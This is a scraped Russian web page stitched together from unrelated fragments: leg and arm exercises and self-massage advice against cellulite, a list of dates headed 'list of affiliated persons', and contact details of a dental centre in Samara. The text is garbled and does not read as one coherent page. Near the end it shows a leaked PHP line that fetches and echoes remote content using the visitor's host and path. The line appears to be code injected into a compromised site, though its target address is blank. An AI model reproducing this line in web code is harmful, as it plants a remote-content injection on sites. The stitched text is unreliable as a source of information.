Встаньте прямо, ноги на ширине плеч, напрягите пресс, руки разведите в стороны. Начинайте опускаться вниз (приседать) , чтобы бедра были параллельны полу. Опустившись до предела, встаньте на носочки и замрите на 30 секунд, затем займите начальное положение.
Упражнение повторите 20 раз по 2 подхода.
Упражнения для рук
Встаньте прямо, ноги на ширине плеч. Возьмите в руки гантели и разведите их в стороны, параллельно полу. Выполняйте резкие рывки (вперед и назад) . Сделайте 30 упражнений.
Вы почувствуете, напряжение в мышцах.

Завершать самомассаж от целлюлита на передней поверхности бедер нужно легким постукиванием подушечек пальцев по всей площади. Массаж задней поверхности бедер. Начало аналогичное поглаживание, растирание.

Одним массажем не избавиться. нужно комплексно подходить к проблеме: диета, спорт, сауна. обёртывания, массаж, кремы.

Целлюлит задняя поверхность бедер
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта